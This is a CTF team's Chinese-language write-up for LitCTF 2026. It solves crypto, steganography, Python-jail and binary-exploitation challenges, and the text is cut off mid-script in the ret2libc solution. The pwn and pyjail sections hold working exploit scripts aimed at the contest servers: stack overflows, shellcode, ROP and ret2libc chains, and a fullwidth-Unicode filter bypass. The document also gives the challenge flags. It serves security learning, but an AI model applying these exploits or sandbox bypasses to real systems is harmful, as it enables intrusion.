ruye07

导航

LitCTF-TriH-WP

LitCTF-TriH-WP


队⻓:ruye

队员:innocent
47756454256

队伍名称:TriH

排名:41


Crypto

1. lit_xor_two_story

题目分析

题目给了两段密文:

c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474

同时脚本中给出第二段明文:

M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"

加密逻辑为:

c1 = m1 ^ k
c2 = m2 ^ k

这里同一段 OTP 密钥流 k 被复用了。由异或性质可得:

m1 = c1 ^ c2 ^ m2

解题脚本

c1 = bytes.fromhex(
    "5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31"
    "bf14ab7a0a82ccc108f8476f75c98a28"
)
c2 = bytes.fromhex(
    "5f70a847ce123cc153283ca710ae7f042b8490a238eb222897"
    "0fad6a2694f2985dc5557e69e5f474"
)
m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"

flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(flag)

Flag

litctf{otp_reuse_never_twice_same_key__}

2. lit_elgamal_handshake

题目分析

题目是 ElGamal 加密,公钥和密文如下:

p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g = 3
y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

题目还在 debug 日志中泄露了长期私钥:

x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

ElGamal 加密形式为:

c1 = g^k mod p
c2 = m * y^k mod p

由于 y = g^x mod p,所以:

y^k = (g^k)^x = c1^x mod p

因此可以直接解密:

s = c1^x mod p
m = c2 * s^{-1} mod p

解题脚本

from Crypto.Util.number import long_to_bytes

p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

s = pow(c1, x, p)
m = c2 * pow(s, -1, p) % p

print(long_to_bytes(m))

Flag

litctf{elgamal_leak_makes_happy_decrypt}

3. lit_rsa_neighbor

题目分析

题目给出 RSA 参数:

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

脚本:

p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
    q = int(gmpy2.next_prime(q))
n = p * q

也就是说,q 是从 p 连续取 next prime 得到的。虽然中间隔了若干个素数,但两个数仍然很接近,适合使用费马分解。

费马分解基于:

n = p * q = a^2 - b^2 = (a - b)(a + b)

pq 接近时,a = ceil(sqrt(n)) 附近很快就能找到平方差。

解题脚本

from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

a = isqrt(n)
if a * a < n:
    a += 1

while True:
    b2 = a * a - n
    b = isqrt(b2)
    if b * b == b2:
        break
    a += 1

p = a - b
q = a + b

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

Flag

litctf{rsa_fermat_finds_close_primes}

4. lit_tiny_key_aes

题目分析

题目使用 AES-128-ECB,密钥前 13 字节固定:

KEY_PREFIX = b"LitCTF2026!!!"

AES-128 密钥总长度为 16 字节,因此未知部分只有 3 字节:

key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX

密文为:

c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"

未知密钥空间为:

2^24 = 16777216

这个范围可以直接离线爆破。解密后检查明文是否以 litctf 开头,并验证 PKCS#7 padding。

解题脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

c = bytes.fromhex(
    "0cdb2760c931f705912b0f4dedbc9bf1"
    "d844cdfd0cb9b6b24a3c8619064bb3a2"
    "a418873c76ac1b627523aab5497fd8d3"
)
prefix = b"LitCTF2026!!!"

for i in range(1 << 24):
    suffix = i.to_bytes(3, "big")
    key = prefix + suffix
    pt = AES.new(key, AES.MODE_ECB).decrypt(c)
    if pt.startswith(b"litctf"):
        try:
            print("suffix =", suffix)
            print(unpad(pt, 16))
            break
        except ValueError:
            pass

爆破得到:

suffix = b"7\xa2\x01"

Flag

litctf{aes_tiny_brut3_for_the_win!}

Misc

lit_lsb_base64_clean

关于lsb隐写
把图片拖入随波逐流,发现疑似base64编码的东西
image
解码得到
image
LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_rush_qr_clean

叫豆包补全二维码定位符
image
扫码得到flag

lit_sstv_clean

知道这是sstv,直接叫ai写脚本
image

signal_result

lit_welcome_clean Writeup

1. 基础检查

  • 文件:welcome.png,5148 bytes,900×500 RGB
  • PNG 结构正常,仅 IHDR / IDAT / IEND 三个块
  • 无隐藏文本块(tEXt/iTXt/zTXt)

2. 像素分析

from PIL import Image
import numpy as np

img = Image.open('welcome.png')
pixels = np.array(img)

# 统计唯一颜色
unique = np.unique(pixels.reshape(-1, 3), axis=0)
# 结果只有两个颜色:
#   RGB(254, 255, 255)  → #feffff  (7318像素)
#   RGB(255, 255, 255)  → #ffffff  (442682像素)

整张图只有两个颜色,差异仅在于 R 通道的 LSB(254 vs 255),肉眼完全无法分辨。

3. 提取二值图

# R=254 → 黑, R=255 → 白
binary = (pixels[:,:,0] == 254).astype(np.uint8) * 255
Image.fromarray(binary, 'L').save('reveal.png')

4. 结果

生成的 reveal.png 直接以 ASCII 艺术字显示了 flag。
image

lit_pyjail_reader

题目分析

连接后服务器运行一段 Python 脚本,核心逻辑如下:

  1. 验证码:生成 8 位随机大写字母,要求输入其反转串
  2. 第一次读文件:提示读取 /app/where_is_flag.txt(包含 flag 真实路径)
  3. 第二次读文件:读取上一步获得的路径,拿到 flag

源码关键部分

def safe_read(path: str) -> str:
    p = path.strip()
    if not p or p.startswith("-") or "\x00" in p:
        raise ValueError("invalid path")
    with open(p, "r", errors="replace") as f:
        return f.read(MAX_FILE)

校验逻辑只阻止了空路径、以 - 开头、含空字节的路径。没有路径遍历限制,也没有 eval/exec。题目描述明确写了"无 RCE",所以按照提示读文件即可。

解题步骤

  1. 连接并完成验证码
    服务端发送:

Please enter the reverse of 'FEXCESXB' to continue:
提取单引号内字符串并反转:FEXCESXB → BXSECXEF,发送回去。

  1. 第一步读文件 — 获取 flag 路径
    收到提示后发送 /app/where_is_flag.txt,服务端返回:

--- begin ---
/flag
--- end ---
File path (2/2):
提取得到 flag 路径为 /flag。

  1. 第二步读文件 — 获取 flag
    发送 /flag,服务端返回 flag。

解题脚本

import re
import socket

HOST = "challenge.cyclens.tech"
PORT = 32690

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((HOST, PORT))

# ---- 验证码 ----
data = b""
while b": " not in data:
    data += sock.recv(1024)
prompt = data.decode(errors="replace")

m = re.search(r"'([A-Z]+)'", prompt)
challenge = m.group(1)
answer = challenge[::-1]
sock.sendall((answer + "\n").encode())

# ---- 等待 File path (1/2) 提示 ----
data = b""
while b"File path (1/2): " not in data:
    data += sock.recv(1024)

# ---- Step 1: 读 flag 路径 ----
sock.sendall(b"/app/where_is_flag.txt\n")

data = b""
while b"File path (2/2): " not in data:
    data += sock.recv(1024)
resp = data.decode(errors="replace")

begin = resp.find("--- begin ---")
end = resp.find("--- end ---")
flag_path = resp[begin + len("--- begin ---"):end].strip()

# ---- Step 2: 读 flag ----
sock.sendall((flag_path + "\n").encode())

data = b""
while True:
    try:
        chunk = sock.recv(1024)
        if not chunk:
            break
        data += chunk
    except socket.timeout:
        break

flag = data.decode(errors="replace").strip()
print(f"Flag: {flag}")
sock.close()

Flag

flag{hxj1mkye-ilpb-4hg-84mo-ndfb4lfc2lshl}

lit_pyjail_unicode

沙箱逻辑

​```

核心过滤:正则匹配 ASCII 关键字

BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os.|sys.|\bposix\b",
re.IGNORECASE,
)

def banned(raw: str) -> bool:
if "\u" in raw or "\U" in raw or "\x" in raw:
return True
return BANNED.search(raw) is not None

三道防线:

  1. 禁止 \u\U\x 转义序列(挡住 Unicode escape)
  2. 正则 \b...\b 词边界匹配 ASCII 关键字
  3. 检查对象是用户发送的原始源码字符串

执行路径

out = eval(line, {"__builtins__": __builtins__})

eval() 满权限,__builtins__ 全给。过滤本身不拦截具体操作,只拦截源码中的 ASCII 关键字。

矛盾点

阶段 处理对象 编码
banned() 检查 用户原始字节流 只看 ASCII
eval() 编译 源码字符串 NFKC 归一化后编译

关键知识:Python 3 在编译标识符前会做 NFKC 归一化。全角字母(Fullwidth Latin,U+FF01–U+FF5E)归一化后折叠为对应 ASCII 字母。

Unicode 等价表

全角字符 码位 归一化为
U+FF4F o
U+FF50 p
U+FF45 e
U+FF4E n
U+FF52 r
U+FF41 a
U+FF44 d

Payload

open('/flag').read()
  • 正则看到的是全角字符串 open,不是 open → 不触发 \bopen\b
  • \u 等转义也未出现在源码中 → 通过第二道防线
  • eval() 编译时 NFKC 归一化:openopenreadread → 正常执行

连接

echo "open('/flag').read()" | nc challenge.cyclens.tech 31022

结果

 flag{xmaxymff-6by8-4qi-8gy0-4kk1zuzy2bcda}

PWN

1. lit_ret2text32

保护检查

Arch:     i386-32-little
RELRO:    No RELRO
Canary:   No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Stripped: No

程序是 32 位 ELF,无 PIE、无 Canary,NX 开启。由于程序中存在后门函数,所以不需要执行 shellcode,直接 ret2text 跳转到后门函数即可。

漏洞分析

源码关键部分如下:

void backdoor() {
    system("/bin/sh");
}

void vuln() {
    char buf[48];
    printf("Welcome, rookie! Can you find the backdoor?\n");
    printf("Input: ");
    read(0, buf, 0x200);
}

buf 只有 48 字节,但 read 最多读取 0x200 字节,存在栈溢出。目标是覆盖返回地址,让程序返回到 backdoor()

通过符号表得到后门函数地址:

backdoor = 0x8049213

需要注意的是,实际偏移不能只按源码中的 48 + 4 计算。反汇编 vuln 后可以看到:

push ebp
mov ebp, esp
push ebx
sub esp, 0x34
...
lea eax, [ebp - 0x38]
read(0, buf, 0x200)

buf 实际位于 ebp - 0x38,因此覆盖返回地址的偏移为:

0x38 + 4 = 60

利用思路

构造 payload:

"A" * 60 + p32(backdoor)

函数返回时跳转到 backdoor(),执行 system("/bin/sh"),之后读取 flag。

EXP

from pwn import *


HOST = "challenge.cyclens.tech"
PORT = 30503

elf = context.binary = ELF("./ret2text32")
context.log_level = "info"

OFFSET = 60
BACKDOOR = elf.symbols["backdoor"]


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)


io = start()
payload = flat(
    b"A" * OFFSET,
    BACKDOOR,
)

io.sendlineafter(b"Input: ", payload)

if args.REMOTE:
    io.sendline(b"cat /flag* 2>/dev/null; cat flag* 2>/dev/null; cat /home/ctf/flag* 2>/dev/null")

io.interactive()

运行结果

flag{psloxp3q-ddwj-4cp-81s0-jnca9h1krfxhp}

2. lit_ret2shellcode

保护检查

Arch:     amd64-64-little
RELRO:    No RELRO
Canary:   No canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable
RWX:      Has RWX segments
Stripped: No

程序是 64 位 ELF,无 Canary、无 PIE,并且栈可执行。因此可以把 shellcode 写到栈上,再覆盖返回地址跳回栈上的 shellcode。

漏洞分析

源码关键部分如下:

void vuln() {
    char buf[100];
    printf("Welcome to the Shellcode Workshop!\n");
    printf("Here is a hint for you: buf is at %p\n", buf);
    printf("Leave your mark on the stack: ");
    read(0, buf, 0x200);
    printf("Your work is done.\n");
}

这里有两个关键点:

  1. read(0, buf, 0x200) 可以溢出 buf
  2. 程序直接打印 buf 的栈地址,可以绕过栈地址随机化。

反汇编 vuln

push rbp
mov rbp, rsp
sub rsp, 0x70
...
lea rax, [rbp - 0x70]
read(0, buf, 0x200)
...
leave
ret

buf 实际位于 rbp - 0x70,所以覆盖返回地址的偏移为:

0x70 + 8 = 120

利用思路

程序会输出栈上 buf 的地址,例如:

Here is a hint for you: buf is at 0x7ffe14cab2a0

解析这个地址作为返回地址,然后把 shellcode 放在 buf 开头。payload 结构为:

shellcode + padding 到 120 字节 + p64(buf_addr)

本地环境没有可用的汇编器,因此 EXP 中直接使用固定 amd64 /bin/sh shellcode,避免依赖 asm(shellcraft.sh())

EXP

import os

os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.getcwd(), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")

from pwn import *


HOST = "challenge.cyclens.tech"
PORT = 30598

context.binary = ELF("./ret2shellcode")
context.log_level = "info"

OFFSET = 0x70 + 8


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(context.binary.path)


io = start()
io.recvuntil(b"buf is at ")
buf_addr = int(io.recvline().strip(), 16)
log.info("buf = %#x", buf_addr)

shellcode = (
    b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
)
payload = shellcode.ljust(OFFSET, b"\x90") + p64(buf_addr)

io.sendlineafter(b"Leave your mark on the stack: ", payload)

if args.REMOTE:
    io.recvuntil(b"Your work is done.\n")
    io.sendline(b"cat /flag* 2>/dev/null; cat flag* 2>/dev/null; cat /home/ctf/flag* 2>/dev/null")

io.interactive()

运行结果

flag{fgaqu8t0-ybyd-4wa-8pnc-d5jxt1dyt4e3g}

3. lit_integer_overflow

保护检查

Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。二进制中存在 backdoor() 函数,会直接执行 system("/bin/sh"),因此利用目标是通过栈溢出覆盖返回地址,跳转到 backdoor()

漏洞分析

源码关键部分如下:

void backdoor() {
    system("/bin/sh");
}

void read_data() {
    char buf[64];
    int size;

    printf("How many bytes do you want to read? (0-63): ");
    scanf("%d", &size);

    if (size >= 0 && size <= 63) {
        printf("Reading %d bytes...\n", size);
    } else {
        printf("Invalid size! But I'll still read it anyway...\n");
    }

    read(0, buf, (unsigned int)size);
}

程序本意是限制输入长度在 0-63,但即使长度非法,后面仍然会调用 read()。如果输入 -1size 是有符号整数,传给 read 的第三个参数时被强转为无符号整数:

-1 -> 0xffffffff

这样就可以向 64 字节的 buf 中读取大量数据,造成栈溢出。

反汇编 read_data 可见:

push rbp
mov rbp, rsp
sub rsp, 0x50
...
lea rax, [rbp - 0x40]
read(0, buf, size)
...
leave
ret

buf 位于 rbp - 0x40,理论上覆盖返回地址的偏移为:

0x40 + 8 = 72

实际远程利用时还需要注意 scanf("%d") 和底层 read() 混用的问题。scanf 解析 -1 后会多读一个非数字字符作为 lookahead,并把它留在 stdio 缓冲中;后面的 read(0, ...) 直接从文件描述符读取,不会读取 stdio 缓冲中的这个字符。因此发送 b"-1" + payload 时,payload 的第一个字节会被 scanf 消耗,远程实际需要多补 1 个 padding:

OFFSET = 0x40 + 8 + 1 = 73

利用思路

构造 payload:

"-1" + "A" * 73 + ret + backdoor

其中额外的 ret 用于栈对齐,避免进入 system() 时因为栈未按 16 字节对齐而崩溃。由于程序无 PIE,backdoor 地址固定,可以直接从符号表中取出。

EXP

import os
import time

os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.getcwd(), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")

from pwn import *


HOST = "challenge.cyclens.tech"
PORT = 31665

elf = context.binary = ELF("./integer_overflow")
context.log_level = "info"

OFFSET = 0x40 + 8 + 1
BACKDOOR = elf.symbols["backdoor"]
RET = ROP(elf).find_gadget(["ret"]).address


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)


io = start()
payload = flat(
    b"A" * OFFSET,
    RET,
    BACKDOOR,
)

io.sendafter(b"How many bytes do you want to read? (0-63): ", b"-1" + payload)

if args.REMOTE:
    time.sleep(0.2)
    io.sendline(b"/bin/cat /flag* 2>/dev/null; /bin/cat flag* 2>/dev/null; /bin/cat /home/ctf/flag* 2>/dev/null")
    print(io.recvrepeat(2).decode("latin-1", "replace"), end="")
else:
    io.interactive()

运行结果

flag{ad4e7sos-e6hk-4vp-8gbl-anfgbkhxphya6}

4. lit_ropchain

题目信息

  • 类型:PWN
  • 题目:lit_ropchain
  • 附件:ropchain, main.c
  • 远程:challenge.cyclens.tech:32200
  • Flag:flag{9noevwsr-djjw-492-8v6b-vn36xkzltmr0x}

保护检查

Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。由于栈不可执行,不能直接打 shellcode;题目也没有现成的 "/bin/sh" 字符串,因此需要手工构造一条 ROP 链,先把 "/bin/sh\x00" 写到 .bss,再调用 system()

漏洞分析

源码关键部分如下:

char bss_buf[0x100];

__attribute__((naked, noinline)) void gadget_pop_rdi(void) {
    __asm__ __volatile__("pop %rdi\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_rsi(void) {
    __asm__ __volatile__("pop %rsi\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_rdx(void) {
    __asm__ __volatile__("pop %rdx\nret\n");
}

void vuln() {
    char buf[64];
    printf("Welcome to the ROP Master challenge!\n");
    printf("Can you chain the pieces together?\n");
    printf("Input: ");
    read(0, buf, 0x200);
}

buf 只有 64 字节,但 read(0, buf, 0x200) 允许输入 512 字节,显然存在栈溢出。

这题的好处是题目作者已经把常用 ROP gadget 塞进程序里了,符号表里能直接拿到:

pop rdi ; ret = 0x401166
pop rsi ; ret = 0x40116b
pop rdx ; ret = 0x401170
read@plt      = 0x401060
system@plt    = 0x401040
bss_buf       = 0x403460

覆盖偏移按源码即可确定:

offset = 64 + 8 = 72

其中 64 字节是缓冲区,额外 8 字节用于覆盖保存的 rbp,再往后就是返回地址。

利用思路

目标分两步:

  1. 利用第一次溢出把返回地址改成 ROP 链。
  2. 在 ROP 链里调用 read(0, bss_buf, 8),把 "/bin/sh\x00" 写入 .bss
  3. 接着设置 rdi = bss_buf,调用 system(bss_buf)

对应的 ROP 链结构如下:

"A" * 72
+ pop rdi ; ret
+ 0
+ pop rsi ; ret
+ bss_buf
+ pop rdx ; ret
+ 8
+ read@plt
+ pop rdi ; ret
+ bss_buf
+ system@plt

这里有个小细节:我一开始按常见 amd64 习惯在 system() 前额外补了一个 ret 做对齐,但远程环境下这反而会导致利用失败。实际测试后,不加这个 ret 才是稳定链。

EXP

import os


os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.path.dirname(__file__), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")

from pwn import *


context.binary = elf = ELF("./ropchain", checksec=False)
context.log_level = "info"

HOST = "challenge.cyclens.tech"
PORT = 32200

offset = 64 + 8

pop_rdi = elf.symbols["gadget_pop_rdi"]
pop_rsi = elf.symbols["gadget_pop_rsi"]
pop_rdx = elf.symbols["gadget_pop_rdx"]
ret = 0x40101A

bss_buf = elf.symbols["bss_buf"]
read_plt = elf.plt["read"]
system_plt = elf.plt["system"]


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)


chain = [
    pop_rdi,
    0,
    pop_rsi,
    bss_buf,
    pop_rdx,
    8,
    read_plt,
    pop_rdi,
    bss_buf,
]

if args.ALIGN:
    chain.append(ret)

chain.append(system_plt)
payload = flat(b"A" * offset, *chain)

io = start()
io.sendafter(b"Input: ", payload)
io.send(b"/bin/sh\x00")

if args.CMD:
    sleep(0.2)
    io.sendline(args.CMD.encode())
    print(io.recvrepeat(2).decode(errors="replace"))
else:
    io.interactive()

远程取 flag 时可以直接这样跑:

python solve.py REMOTE CMD="cat flag; exit"

运行结果

flag{9noevwsr-djjw-492-8v6b-vn36xkzltmr0x}

5. lit_ret2syscall32

保护检查

Arch:       i386-32-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
Debuginfo:  Yes

程序是 32 位 ELF,无 PIE、无 Canary,NX 开启。题目描述已经提示得很直白:没有 system(),没有现成的 "/bin/sh",但可以通过 int 0x80 直接触发系统调用。因此这题本质上是一个 32 位 ret2syscall。

漏洞分析

源码关键部分如下:

char data_buf[0x100];

__attribute__((naked, noinline)) void gadget_pop_eax(void) {
    __asm__ __volatile__("pop %eax\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_ebx(void) {
    __asm__ __volatile__("pop %ebx\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_ecx_ebx(void) {
    __asm__ __volatile__("pop %ecx\npop %ebx\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_edx(void) {
    __asm__ __volatile__("pop %edx\nret\n");
}
__attribute__((naked, noinline)) void gadget_mov_edx_eax(void) {
    __asm__ __volatile__("mov %eax, (%edx)\nret\n");
}
__attribute__((naked, noinline)) void gadget_int_0x80(void) {
    __asm__ __volatile__("int $0x80\n");
}

void vuln() {
    char buf[64];
    printf("Input: ");
    read(0, buf, 0x200);
}

buf 只有 64 字节,但 read(0, buf, 0x200) 最多读取 512 字节,存在明显的栈溢出。

这题最友好的地方在于,题目作者把几乎所有需要的 gadget 都直接塞进程序里了,不依赖 libc,也不用辛苦找零碎指令。利用时我们需要的关键地址如下:

data_buf            = 0x804b3a0
gadget_pop_eax      = 0x80491a6
gadget_pop_ebx      = 0x80491ab
gadget_pop_ecx_ebx  = 0x80491b0
gadget_pop_edx      = 0x80491b6
gadget_mov_edx_eax  = 0x80491bb
gadget_int_0x80     = 0x80491c1

偏移需要按实际栈布局来算。反汇编 vuln 可见:

push ebp
mov ebp, esp
sub esp, 0x48
...
lea eax, [ebp - 0x48]
read(0, buf, 0x200)
...
leave
ret

所以 buf 实际位于 ebp - 0x48,覆盖返回地址的偏移为:

0x48 + 4 = 76

利用思路

32 位 Linux 下,execve("/bin//sh", 0, 0) 的系统调用号是 11,寄存器约定为:

eax = 11
ebx = "/bin//sh" 的地址
ecx = 0
edx = 0

但题目没有现成的 "/bin/sh" 字符串,所以先要把它写到可写段 data_buf。这里可以利用:

pop edx ; ret
pop eax ; ret
mov dword ptr [edx], eax ; ret

分两次把 "/bin""//sh" 写到 data_bufdata_buf+4。之所以写成 "/bin//sh",是因为它正好能按 4 字节对齐拆成两个 dword,效果和 "/bin/sh" 一样。

之后设置寄存器并执行 int 0x80

"A" * 76
+ write(data_buf, "/bin")
+ write(data_buf + 4, "//sh")
+ pop eax ; ret      -> 11
+ pop ecx ; pop ebx  -> 0, data_buf
+ pop edx ; ret      -> 0
+ int 0x80

这样程序就会直接执行 execve("/bin//sh", NULL, NULL),拿到 shell 后读取 flag 即可。

EXP

import os
from pathlib import Path

os.environ.setdefault("XDG_CACHE_HOME", str(Path(__file__).resolve().parent / ".cache"))

from pwn import *


context.arch = "i386"
context.os = "linux"

HOST = "challenge.cyclens.tech"
PORT = 30409

OFFSET = 76

DATA_BUF = 0x804B3A0
POP_EAX = 0x80491A6
POP_EBX = 0x80491AB
POP_ECX_EBX = 0x80491B0
POP_EDX = 0x80491B6
MOV_EDX_EAX = 0x80491BB
INT_0X80 = 0x80491C1


def write_dword(where, value):
    return flat(
        POP_EDX,
        where,
        POP_EAX,
        value,
        MOV_EDX_EAX,
    )


payload = flat(
    b"A" * OFFSET,
    write_dword(DATA_BUF, u32(b"/bin")),
    write_dword(DATA_BUF + 4, u32(b"//sh")),
    POP_EAX,
    0xB,
    POP_ECX_EBX,
    0,
    DATA_BUF,
    POP_EDX,
    0,
    INT_0X80,
)


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process("./ret2syscall32")


io = start()
io.recvuntil(b"Input: ")
io.send(payload)
io.sendline(b"cat /flag* 2>/dev/null || cat flag 2>/dev/null")
print(io.recvall(timeout=2).decode(errors="replace"))

运行结果

flag{sizaqa1q-7j2c-4mz-8cro-ieheamgiypkkz}

6. lit_ret2libc

保护检查

Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。题目描述提示得很明确:二进制本身没有 system()"/bin/sh" 可直接利用,因此思路就是先泄露 libc 地址,再做 ret2libc。

漏洞分析

源码关键部分如下:

__attribute__((naked, noinline)) void gadget_pop_rdi(void) {
    __asm__ __volatile__(
        "pop %rdi\n"
        "ret\n"
    );
}

__attribute__((naked, noinline)) void gadget_xor_rax(void) {
    __asm__ __volatile__(
        "xor %rax, %rax\n"
        "ret\n"
    );
}

void __attribute__((noinline)) leak_value(void **addr) {
    printf("Leak: %p\n", *addr);
}

void vuln() {
    char buf[64];
    printf("The backdoor is lost, but maybe libc can help?\n");
    printf("Tell me your name: ");
    read(0, buf, 0x200);
}

这里有三个关键点:

  1. read(0, buf, 0x200) 可以对 64 字节栈缓冲区造成明显溢出。
  2. 程序没有现成后门,但作者特意埋了 pop rdi ; ret gadget,方便构造 ROP。
  3. 还提供了 leak_value(void **addr),它会把传入地址处存放的指针值打印出来,因此可以直接泄露 GOT 中已经解析好的 libc 函数地址。

覆盖偏移按栈布局可直接确定为:

64 + 8 = 72

也就是 64 字节缓冲区加上保存的 rbp

利用思路

整体分两步:

  1. 先泄露 libc 地址。
  2. 再根据 libc 基址计算 system"/bin/sh",构造第二条 ROP 链拿 shell。

第一阶段可以直接调用题目提供的 leak_value()

"A" * 72
+ pop rdi ; ret
+ printf@got
+ xor rax, rax ; ret
+ leak_value
+ ret
+ main

这里选择泄露 printf@gotread@gotxor rax, rax ; ret 是个小细节,它能把 rax 置零,避免进入 printf 这类变参函数时因为 al 状态不对而崩掉。泄露结束后没有直接回 vuln(),而是先补一个 ret 再回 main,这样栈对齐更稳定,程序会重新进入 vuln(),方便发第二阶段 payload。

远程实测泄露值满足:

printf = libc + 0x606f0
read   = libc + 0x114850

这与 glibc 2.35 的偏移一致,因此可以计算:

libc_base = printf_leak - 0x606f0
system    = libc_base + 0x50d70
"/bin/sh" = libc_base + 0x1d8678

第二阶段 payload 就是标准 ret2libc:

"A" * 72
+ ret
+ pop rdi ; ret
+ bin_sh
+ system

其中额外补一个 ret,同样是为了 16 字节栈对齐,避免调用 system() 时崩溃。

EXP

import argparse
import os


os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.path.dirname(__file__), "..", ".cache"))

from pwn import *

context.binary = exe = ELF("./ret2libc", checksec=False)
context.log_level = "info"

HOST = "challenge.cyclens.tech"
PORT = 30190

OFFSET = 72
POP_RDI = 0x4011B7
XOR_RAX = 0x4011BC
RET = 0x40101A
LEAK_VALUE = exe.symbols["leak_value"]
MAIN = exe.symbols["main"]

LIBC_PRINTF = 0x606F0
LIBC_SYSTEM = 0x50D70
LIBC_BIN_SH = 0x1D8678


def start(remote_mode: bool):
    if remote_mode:
        return remote(HOST, PORT)
    return process(exe.path)


def leak_addr(io, got_addr: int) -> int:
    payload = flat(
        b"A" * OFFSET,
        POP_RDI,
        got_addr,
        XOR_RAX,
        LEAK_VALUE,
        RET,
        MAIN,
    )
    io.sendafter(b"Tell me your name: ", payload)
    io.recvuntil(b"Leak: ")
    return int(io.recvline().strip(), 16)


def exploit(remote_mode: bool, cmd: bytes | None):
    io = start(remote_mode)

    printf_leak = leak_addr(io, exe.got["printf"])
    read_leak = leak_addr(io, exe.got["read"])
    log.success(f"printf leak = {printf_leak:#x}")
    log.success(f"read leak   = {read_leak:#x}")

    libc_base = printf_leak - LIBC_PRINTF
    system = libc_base + LIBC_SYSTEM
    bin_sh = libc_base + LIBC_BIN_SH

    log.success(f"libc base   = {libc_base:#x}")
    log.success(f"system      = {system:#x}")
    log.success(f"/bin/sh     = {bin_sh:#x}")

    payload = flat(
        b"A" * OFFSET,
        RET,
        POP_RDI,
        bin_sh,
        system,
    )
    io.sendafter(b"Tell me your name: ", payload)

    if cmd:
